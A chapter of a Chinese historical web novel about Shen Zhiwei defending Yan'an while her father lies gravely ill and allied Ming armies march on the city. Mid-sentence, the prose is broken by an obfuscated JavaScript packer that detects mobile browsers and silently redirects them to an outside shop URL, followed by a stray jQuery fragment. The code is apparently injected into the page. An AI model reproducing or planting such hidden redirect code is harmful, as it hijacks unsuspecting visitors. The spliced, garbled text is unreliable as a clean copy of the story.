王二带着人回到延安时，天边刚露出一点蟹壳青。
城门开了一条缝。放他们进去的，是沈知微早安排在城门口的老卒。那老卒提着一盏要灭不灭的灯，见着王二他们满身血泥、甲碎衣烂的模样，什么也没问，只把手一摆：“快进。姑娘在府里等着。”
延安城还睡在薄雾里。青石板路面上，前夜的霜还没化，马蹄踩上去，咯吱咯吱地响。王二骑在马上，看着这条他走了十几年的街。两旁的铺面都还关着板，有几户门前挂着旧灯笼，被风吹得斜斜的，纸面上破了几处洞。他身后的弟兄们也都默不作声。有人伏在马背上，像已经睡着了；有人拿布条把刀柄缠在手上，那布条黑红黑红的，也分不清是本色，还是被血浸透了。这城还和从前一样。可又好像什么都不一样了。
他进了总督府，沈知微果然在堂上。
她面前摊着账册，手边搁着一盏凉透了的茶。灯花已经结了老长，她也没剪。听见脚步声，她抬起头来。王二见她那张脸，白得没有血色，眼底青黑一片，像好几夜没正经合过眼了。他单膝跪地，张了张嘴，想说什么，沈知微却先开口了。
“带回来多少人？”
“一千一百三十七。”王二的声音又干又哑，像被沙子磨过。
沈知微闭了一下眼。再睁开时，眼底那点倦色已经压下去了。她道：“你起来。先去安顿弟兄们。吃口热饭，换身衣裳。别的话，天亮了再说。”
王二应了，却没动。他望着沈知微，像有什么极要紧的事堵在喉咙里，不吐不快。沈知微看着他。他到底还是开了口：“姑娘，崇祯在南京，把朝廷重新立起来了。”
堂中静了一瞬。灯花“啪”地炸了一下。沈知微面上没有波澜，只缓缓道：“我知道了。昨日便收到消息了。”
她说完，端起那盏凉茶，送到唇边，却又不喝。她的手很稳，稳得让王二心里发凉。她道：“崇祯没死，便会有下一道旨意。延绥这次，是真的无路可退了。”她放下茶盏，正想再说什么，后堂忽然传来一阵急促的脚步声。
王嬷嬷从后堂奔出来，花白的头发散了大半，脸白得像纸。她见了沈知微，两腿一软，哭道：“姑娘！老爷……老爷他晕过去了！”
沈知微的手，终于抖了一下。
她赶到后堂时，沈敬修已经被人抬到了床上。
他是在书房里晕倒的。周慎行说，老爷今日精神看着好了些，便非要起来看几封从南边来的信。那些信，有些是旧友写的，有些是从南京逃出来的故旧写的。信里话里，不是含含糊糊，便是明明白白。有劝他“早作打算”的，有问他“清帝之诏，是真是假”的，还有一封，是沈敬修年轻时一个同年来信，通篇只八个字：“宁死勿污，以报君恩。”沈敬修看完那封信，也没说话，只将那信纸慢慢折好，放进袖中。周慎行见他要站，便上前去扶。谁知沈敬修刚一起身，脸色就变了。整个人像被人从身后抽去了脊梁，连哼都没哼一声，便往地上倒了下去。
“老爷当时脸都紫了，手跟冰一样。”周慎行站在床尾，急得语无伦次，翻来覆去就那么几句，“我喊，他不应。我扶，他站不住。后来背到床上，人已经没知觉了。”
沈知微没说话。她几步走到床边，握住父亲的手。那手冰凉，五个指头却攥得死紧，像是要把什么看不见的东西，从这辈子的命里挤出去。她唤了两声“父亲”。沈敬修没应。他的嘴唇在动，极轻极轻地，像在说什么。沈知微把耳朵凑过去，听见他断断续续地喊：“我没有……我没有降清……没有……”
她心口像被人从里到外剜了一刀。她更紧地握住那只手，不住地道：“女儿知道。父亲没有。咱们没有。”可沈敬修听不见。他已经烧起来了。那热度从掌心一路烧到胳膊，像要把这老人一辈子攒下的忠骨都烧成灰。他脸上忽然涌起一层不正常的红，眼睛半睁，望着沈知微，眼里全是浑浊的泪。
“知微。”他忽然喊她。那声音又哑又颤，像从肺腑里一个字一个字地往外咳，“咱们沈家……满门忠良……怎么就成了……成了清人的走狗……”
他说完，老泪便顺着眼角淌下来，流进花白的鬓角，在枕上洇开一片。沈知微咬紧了唇，没让眼泪掉下来。她抬手，替父亲擦去那些泪。那泪烫得吓人。她道：“父亲，咱们沈家是什么样，天知，地知，延绥的百姓知。那些人嘴里怎么骂，由他们去。您先把身子养好。这城，还得您来撑。”
沈敬修已经听不进去了。他半昏半醒，只反反复复地喊着“无颜见先帝”“有负圣恩”之类的话。那每一个字，都像被火烧红的针，扎在沈知微心里。她直挺挺地跪在床边，握着父亲的手，从天擦黑一直守到深夜。王嬷嬷进来劝了几回，她都不动。大夫来瞧了，说是急怒攻心，痰迷心窍。能不能再醒过来，得看天命。
沈知微跪在床边，脑海里面忽然就闪过一丝属于另外一个她的记忆，那是起她很小很小的时候。那时候，沈家还在西安。有一年冬天，她高烧不退，父亲也是这么守着她，一整夜没合眼。天快亮时，他拿一块温热的帕子，极轻极轻地敷在她额头上，说：“知微不怕，爹在。”如今，换她守着他了。她望着父亲那张已经有些浮肿的、被高烧烧得通红的脸。他的头发，这半年白得太多了。白得像这延绥的雪。她的眼泪，终于没忍住，掉了一滴下来。那滴泪落在沈敬修的手背上，极轻，极烫。她飞快地擦掉了。她不能哭。这屋子里，已经倒了一个了。她不能再倒。
后来，沈敬修终于昏昏沉沉地睡了过去。沈知微慢慢站起来，两条腿已经僵了。她走到外间，把门轻轻掩上。风从北边灌进来，吹得她衣角翻卷。她站在廊下，望着天。
天上没有月亮。云层又厚又沉，像要把这延绥的最后一点光都吞掉。
“王二。”她唤。
王二从阴影里出来，抱了抱拳。沈知微望着北边，道：“你方才说，崇祯在南京重立了朝廷。”
“是。”王二道。
沈知微点了点头。她道：“那咱们这延安，便是他眼里的一根刺了。他不会放过沈家。更不会放过我。”她顿了顿，声音低下去，像在跟自己说，“他那个人，从来就是这样。谁让他一时不痛快，他便要谁一辈子不痛快。”
王二不知该怎么接。他想说，大不了反了。可这话，他从前说过。秦锐也说过。如今秦锐不在了。这城，这兵，这满城的百姓，都在沈知微一个人肩上。他说不出口了。沈知微也没有再问。她只道：“把斥候撒出去。北边，东边，都要看住了。三边军没追来，可他们的心不会死。山西的兵，也不知道是什么章程。这城，从今夜起，不能再当太平城了。”
王二领命去了。
沈知微一个人在廊下站到后半夜。她的影子映在青砖地上，又黑又长，像这乱世里一道怎么都望不到头的裂口。
坏消息，是四天后来的。
斥候来报，三边的马世龙，和山西镇的人马，合兵一处，已过了延水，正往延安来。两军加在一起，足有万余人。队伍拖得极长，旌旗都打出来了。刀枪在日头底下，亮成一片。
这个消息传进总督府时，沈知微正在给父亲喂药。她听完，手上连药碗都没晃一下。她只道：“知道了。再探。”
她放下药碗，替父亲掖好被角，起身，走到前堂。堂中，王二、孙五、耿四平、周慎行都已经到了。每个人的脸色都像是从冰水里捞出来的。沈知微坐下来，道：“诸位都说说吧。”
王二先道：“马世龙疯了。这一路上，他自己的兵都快散了，还咬着咱们不放。如今又拉上了山西的人。他这是铁了心，要把延安当投名状。”
孙五也道：“山西那边，先前对咱们，是有几分善意的。过山西时，那些墩台明明看见了咱们，却一箭未发。后来马世龙追到边界，也是山西的兵给挡了。这才让咱们平平安安回了延安。可如今，怎么说变就变了？”
沈知微也没想通。她望着面前那张早已铺开的延绥舆图，手指在延安城的位置上极轻极轻地画了一圈。她道：“吴甡这个人，我父亲与他有旧。山西什么家底，我也清楚。这几年，山西连自己的边军都快养不起了。吴甡比谁都会算账。他早先放咱们过去，又拦住马世龙，是卖人情。可这年头，人情值几个钱？只是我原以为，他再怎么样，也不会跟马世龙搅到一处。山西若想要延安的钱粮，大可以派人来谈。何至于此？”
耿四平道：“姑娘，会不会是清军已经给山西递了话？吴甡怕清人从山西过境，不得不跟马世龙一起，先把后路堵上？”
沈知微摇了摇头。她想不出。她只知道，这一万人，已经过了延水，正往延安来。他们不是来问罪的，也不是来谈判的。他们来，是要吃下这座城。
“今晚开始，把城外能搬的人、能收的粮，全撤进城里来。一粒米也不给他们留。一口井也不给他们用。城外那些庄子、铺子，值钱的东西来不及搬的，就地烧了。不要留给他们。”她道。
耿四平皱了皱眉：“姑娘，烧了容易。可那些城外的百姓，未必肯走。他们祖祖辈辈都住在那儿，哪能说搬就搬？”
沈知微沉默了。过了好一会儿，她道：“不肯走的，也由他们。可粮食必须带走。带不走的，就烧。总不能让万人大军到了城下，还有现成的粮草好吃。”
命令一道道传下去。整个延安城动起来了。
那天夜里，城外的官道上全是人。有推着独轮车的，有牵着驴的，有背着老人抱着孩子的。他们从各个方向涌向城门。城门口的火把把半条街都照得通明。有老妇人坐在车上，怀里搂着只老母鸡，不住地回头望。有汉子拉着牛，那牛不走，他便下死力拽。牛的叫声在夜色里传得老远。
也有不走的。有些乡绅，便没走。
第二日一早，十几个乡绅齐齐来了总督府。他们穿着厚实的绸袍，带着家仆，在府门前站着。为首的是个姓刘的乡绅，约莫五十来岁，面皮白净，蓄着短须。他见着沈知微，先作了个揖，面上还带着笑，可那笑怎么看都像在脸上贴了一层薄薄的皮。
“沈小姐。”他道，“外头都传遍了。说清帝给沈家封了王，封了爵，说这延绥、宁夏都成了什么圣女的封地。咱们这些人家，祖祖辈辈都在这地上，遇着事，自然要来问一问。这……到底是真是假？沈家，到底投没投清？”
他身后的人也都七嘴八舌地跟着附和。有人说，投不投清他们不管，他们只管这兵灾怎么就要落到他们头上了？这延安的兵，到底是用来守城的，还是用来招祸的？沈家到底给句话，别让大伙儿糊里糊涂地跟着遭殃。
沈知微站在台阶上，望着这些人。他们的脸，她大多都认识。有些是她义塾里孩子的父亲，有些是这几年受了甘薯、水渠好处的地主。可此刻，他们眼睛里再没有从前的巴结与感激了。他们眼里只有怕。那怕让他们把什么都忘了。
“诸位。”她开口。声音不高，却让那一片吵嚷渐渐静了下来。她道，“沈家没有投清。我父亲也没有受清人的封。清帝那道诏书，明明白白就是离间。谁要是信了，才是把刀递到了清人手里。”
那刘乡绅张了张嘴，还想说什么。沈知微没给他机会。她继续道：“至于兵灾，你们怕，我也怕。可这场兵灾不是沈家招来的。是清人打进来了，是北京丢了，是有人不信沈家，要拿延安开刀。眼下，你们不进城的，就关好门，别出来。进了城的，粮食、住处，我来安排。可谁要是在这当口，在城里散布些不三不四的话，别怪我不顾这些年的情分。”
她说得极慢，每个字都像钉子一样。那些乡绅们面面相觑，到底没人再敢高声。刘乡绅僵了僵，又作了个揖，领着人走了。
沈知微望着他们的背影在晨风里一点一点地走远。她忽然就想起父亲。想起他昨夜在梦里还在喊“满门忠良”。这满城的百姓，这满院的故旧，平日里何尝不把“沈家”挂在嘴边。可到了今日，他们只问一句：兵灾怎么落到我们头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891049|212732||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上了？没有一个人问，沈家冤枉不冤枉。
她闭了闭眼。风从北边来，把她的衣摆吹得翻卷。她转回府中，王二正从后头过来。她道：“石彪呢？”
王二道：“在城东帮着撤人。”
沈知微道：“叫他来。我要他连夜去草原。”
王二一怔。沈知微已经继续道：“巴雅尔部还欠我一个人情。眼下这城光靠咱们自己撑不住。让石彪去。那台吉会来的。”
王二没说话。他望着沈知微，像要从她脸上看出些什么。沈知微道：“你信不过？”
王二道：“末将不敢。只是姑娘，这一步走出去，沈家跟清人就更说不清了。”
沈知微望着他。她的眼睛很黑，很静，像这无星无月的、延绥的夜。她道：“说不清，便不说。我总不能，让这满城的人，陪着我父亲，一起背着那四个字，等死。”
她说完，转身走了。王二站在原地，望着她的背影，忽然就觉着，这延安城的天，怕是，真的要塌了。可塌下来之前，总得有个人，先把自己的脊梁骨顶上去。那个人，不声不响地，已经顶上去了。
至于吴甡为何会带着山西兵来，沈知微只猜对了一半。
那日，三边军与山西军合兵之后，吴甡的中军大帐里，马世龙曾亲自来拜。这吴甡，本是个在文臣里极会算账的人。他在山西这几年，守着个穷省，兵无饷，马无粮，满营的兵丁到了冬天，连双像样的棉鞋都发不下来。他早听说了延安的粮储。沈知微那个人，擅经营，延绥十年，积粮如山，听说延安地下的粮窖，能顶山西全省吃三年。他起先并不全信马世龙那套“沈家通虏”的话。沈敬修这个人，他信。沈知微这个小辈，他也有耳闻。可清帝那封诏书，写得有模有样，说延绥、宁夏是圣女封地，大清兵永不踏入。这风声一传开，他再怎么信沈敬修，也不得不多想一想。万一是真的呢？若沈家真投了清，那延安的粮，不就等于是清人的粮？他吴甡再不济，也不能让清人把延安的粮窖变成南下的军粮。
可这些，马世龙都不在乎。他只在乎一件事：沈家是叛徒，延安必须打。打下来，粮草平分，女人、布帛、军械，各取所需。
吴甡没有立刻答应。他坐在那里，听马世龙把北京城下那场夜袭说了又说。听完，他道：“马将军，你说的这些，都是你的推断。沈家到底反没反，朝廷还没定论。咱们如今合兵去打延安，若沈家真是冤枉的，那这事，怎么跟天下人交代？”
马世龙眼睛一红，拍案道：“吴中丞！洪总督都死了！死在清狗的刀下！咱们的勤王军，一夜之间，被清人从背后捅了个透心凉！那不是沈家开的门，还能是谁？末将手下有两个人，是从清军大营里逃出来的。他们亲眼看见，延绥的俘虏，被清人当成上宾！给衣裳，给伤药，还给钱放人！不是自己人，谁会给这样的好？”
他朝外喊了一声：“把人带进来！”
两个穿着破衣的兵，被人领进了帐。他们脸上还有伤，一个胳膊上缠着脏得发黑的布条，另一个走路时，一条腿是拖着的。两人一进帐，扑通便跪下了。那年纪稍长些的，还没开口，眼圈已经红了。
“吴中丞！”他嘶声道。那声音又哑又抖，像被烧过一样，“小的们不敢扯谎！小的们就是被清人逮住的！清人把咱们三边的人，像拴牲口一样拴着！可延绥那些人，他们……他们在清人帐前，有热汤喝，有新衣裳穿，还有清人的官儿，给他们发钱！他们说，延绥、宁夏是圣女封地！沈家的人，是清帝要保的！他们放延绥的人走，还给粮！给牲口！小的是拼了命才逃出来的！小的敢拿脑袋担保，延绥的人，早跟清狗睡一个被窝了！”
说着，他砰砰砰地磕起头来，额上磕出了血。另一个年纪轻的，已经哭得说不出完整话，只反复道：“洪总督……洪总督死得冤……咱们三边的弟兄……死得冤啊……”
吴甡望着他们，又望了望马世龙。帐外，起了北风。那风卷着沙土，打在帐布上，啪啪地响，像有无数只手掌，在一下一下地，拍着这延绥的夜。
马世龙见他还要犹豫，忽然冷笑了一下。他凑近几分，压低嗓子道：“吴中丞，你别觉着你还跟沈家有什么交情。沈家那点情分，值几个钱？你放他们回了延安，他们可给你送过一石粮？如今清人占了北京，下一个就是山西。你手里那点兵，连粮都吃不饱，真能挡得住清狗？我明明白白告诉你，你要是不跟我打延安，我马世龙转身就带着人往清营里去。到那时候，清人从山西过境，你吴甡的头，怕是要挂在太原城门上。”
吴甡的脸，终于变了。
马世龙又笑了。他坐回去，翘起一条腿，道：“咱们把话说明白。打下了延安，城里的粮，全归你山西。我三边的人，一粒米都不拿。我只要延安全城大索一日，再把沈敬修、沈知微这两颗脑袋带走。这么划算的买卖，你吴中丞上哪儿找第二家去？”
吴甡坐在那里，望着帐外越来越暗的天色。风声更紧了。过了好一会儿，他慢慢开口：“全城大索一日，是什么章程？”
马世龙道：“延安这地方，富了十年。城里的好东西，你山西兵不稀罕，我三边的弟兄可稀罕。只一日。一日之后，这城里的粮食、军械、钱帛，全是你的。”
吴甡没接话。他望着桌上那盏忽明忽暗的油灯，像要把那点光看出个决断来。又过了很久，他才道：“沈敬修，不能凌迟。给他留个全尸。沈知微，交给你。你爱怎么处置，我不管。只别脏了我的军帐。”
马世龙哈哈大笑，起身抱拳：“中丞爽快！那便说定了。明日拔营，直逼延安！”
吴甡没有起身。他听着马世龙出了帐，马蹄声渐远。帐外的风，卷着枯草与沙，从延水方向，一阵一阵地，刮了过来。
那风，刮到延安城头时，已经带了北地的寒意。沈知微站在城上，远远地，望见了天边扬起的烟尘。她知道，那些人，来了。可她到底还是没想明白，山西，怎么就真的跟着马世龙，一起来了。